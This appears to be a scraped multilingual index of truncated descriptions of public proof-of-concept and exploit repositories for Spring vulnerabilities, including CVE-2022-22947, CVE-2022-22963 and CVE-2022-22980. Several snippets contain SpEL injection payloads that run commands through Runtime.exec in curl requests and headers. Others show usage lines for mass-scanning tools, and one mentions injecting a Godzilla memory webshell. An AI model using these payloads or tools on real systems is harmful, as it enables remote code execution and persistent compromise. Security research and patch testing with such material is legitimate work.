CVE-2022-22980

CVE-2022-22980 Spring Data MongoDB SpEL式インジェクション MongoDB は、大量のデータストレージに使用される、スケーラブルかつ柔軟性のあるドキュメント指向のNoSQLデータベースです。従来のリレーショナルデータベースのようにテーブルや行を使用する代わりに、MongoDBはコレクションとドキュメントを利用します。ドキュメントはキーと値のペアで構成され、MongoDBにおけるデータの基本単位です。 Spring Data for MongoDB は、包括的なSpring...

cve-2022-22947

Spring Cloud Gateway Actuator API SpELコードインジェクション CVE-2022-22947 ビルド root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 使用方法: root@kitploit: -t http://vuldomain.com //単一IP -f urls.txt //ファイルを読み込んで一括スキャン、マルチスレッドで高速 -c command //コマンドをカスタマイズ可能、デフォルトはwhoami...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function 버전 3.1.6, 3.2.2 및 이전 버전에서 라우팅 기능을 사용할 때 사용자가 특수하게 조작된 SpEL을 라우팅 표현식으로 제공할 수 있으며, 이로 인해 원격 코드 실행 및 로컬 리소스 접근이 발생할 수 있습니다. PoC 저장소를 클론합니다 root@kitploit: git clone https://github.com/jrbH4CK/CVE-2022-22963.git 폴더로 이동합니다 root@kitploit: cd CVE-2022-22963 실행 권한을 변경합...

CVE-2022-22963-Exploit

CVE-2022-22963 エクスプロイト このリポジトリには、Spring Cloud Function バージョン 3.1.6、3.2.2、および古いサポート対象外バージョンで見つかった CVE-2022-22963 脆弱性に対する Rust ベースのエクスプロイトが含まれています。この脆弱性により、ルーティング式として使用される特別に細工された Spring Expression SpEL を介して、リモートでコードが実行され、ローカルリソースにアクセスされる可能性があります。 説明 Spring Cloud Function バージョン...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） 1.インストール root@kitploit: pip3 install -r requirements.txt 2.使用方法 root@kitploit: $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V...

CVE-2022-22963-POC

CVE-2022-22963 エクスプロイト 説明 Spring Cloud Function バージョン 3.1.6、3.2.2 およびサポートされていない古いバージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工した SpEL を routing-expression として提供することが可能であり、リモートコード実行やローカルリソースへのアクセスを引き起こす可能性があります。詳細は CVE-2022-22963 詳細 を参照してください。 AayushmanThapaMagar が提供した PoC...

Spring_cve-2022-22980

Springcve-2022-22980 spring data mongodb 원격 코드 실행 | cve-2022-22980 poc 설명 Spring Data MongoDB 애플리케이션은 @Query 또는 @Aggregation 어노테이션이 적용된 쿼리 메서드에서 SpEL 표현식에 값 바인딩을 위한 쿼리 매개변수 플레이스홀더를 사용할 때, 입력이 검증되지 않으면 SpEL injection에 취약합니다. 동영상 PoC 최신 익스플로잇 PoC를 팔로우하세요 YouTube Twitter...

Spring-CVE

Spring CVE これには、Spring SpEL / Expression Resource Access Vulnerability である CVE-2022-22963 と、spring-webmvc/spring-webflux の RCE であり「SpringShell」と称される CVE-2022-22965 が含まれます。 CVE-2022-22963 Spring Cloud Function バージョン 3.1.6、3.2.2、およびサポートされていない旧バージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工された SpEL を...

CVE-2017-8046

免责声明： 本仓库是对 VGS 博文《如何避免使用已知漏洞的组件》的补充。它包含一个具有已知安全漏洞（即 CVE-2017-8046）的应用程序，以及如何利用该漏洞的描述。请自行承担使用该应用程序的风险！ 设置 首先，在仓库根目录执行以下命令启动应用程序： root@kitploit: mvn clean spring-boot:run 然后，通过发送如下 POST 请求创建一个资源： root@kitploit: curl -X POST http://localhost:8080/books \ -H 'Content-Type: application/json' \ -d...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Godzillaメモリシェルを注入 デフォルトキー pass base64 注：コードはルート部分をクリアしていないので、自分でクリアしてください。。 テスト環境：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md メモリシェルclass...

CVE-2022-22947

CVE-2022-22947 root@kitploit: script for exploit Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 root@kitploit: https://github.com/march0s1as/CVE-2022-22947 cd CVE-2022-22947 go build spring.go ./spring -h...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE リモートコード実行の脆弱性 usage root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit: POST /account HTTP/1.1...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example CVE-2022-22980 환경 Docker 환경 구축 root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function ヘッダー root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" ビルド root@kitploit: wget...

CVE-2020-5245

CVE-2020-5245 1. アプリケーションをビルドするには mvn clean install を実行してください 2. アプリケーションを起動するには java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml を実行してください 3. アプリケーションが実行中か確認するには、URL http://localhost:8080 にアクセスしてください pom.xml のエラーはプラグインに影響せず、再現されました 再現 curl...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 研究 環境 vulfocus/spring-cloud-function-rce:latest 原因 リクエストヘッダー内の spring.cloud.function.routing-expression パラメータ解析の問題により、Payload注入攻撃が引き起こされます。 参考リンク https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2022-22963

CVE-2022-22963 - Spring4shell 취약한 SpringBoot 애플리케이션을 실행하려면 이 Docker 컨테이너를 8080 포트에 노출시켜 실행하세요. 예: root@kitploit: docker run -it -d -p 8080:8080 bobcheat/springboot-public 익스플로잇 Curl 명령: root@kitploit: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 을를 영어 번역 및 탐지를 위해 약간 수정했습니다. 기본적으로 대상에서 whoami가 실행되고 취약한 URL 목록을 포함하는 vulnerable.txt 파일이 생성됩니다. 추가 정보...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 ビルド root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day ペイロード root@kitploit:...